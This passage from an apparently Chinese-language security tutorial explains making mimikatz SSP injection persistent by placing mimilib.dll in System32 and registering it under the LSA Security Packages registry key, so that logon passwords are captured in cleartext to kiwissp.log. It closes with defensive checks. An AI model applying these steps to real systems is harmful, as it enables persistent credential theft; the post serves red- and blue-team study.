Tips:使用这种方法注入的恶意的SSP,如果目标机器重启了,注入的SSP就会失效。
在注册表中添加SSP
mimikatz也支持在注册表中添加SSP,这样即使目标机器重启,注入的SSP也不会失效。
首先将mimikatz中的mimilib.dll文件保存在 C:\Windows\System32\ 目录下:

然后修改注册表 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages\项,添加mimilib.dll:


待系统重启之后,该SSP就会被加载,用户在登录时输入的账户和密码将会被记录在c:\windows\system32\kiwissp.log 文件中,比如重启后使用域管身份登录后在该文件中看到保存的明文凭据:

SSP注入防御
对于防守方和蓝方来可以通过以下几点进行防御此种攻击:
- 及时修复域内漏洞,更新最新补丁,让攻击者无法获得域控权限,自然也就无法进行SSP注入了
- 检查注册表 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages\ 中是否含有可疑的DLL项
- 检查C:\Windows\System32\目录下是否有可疑的DLL文件


浙公网安备 33010602011771号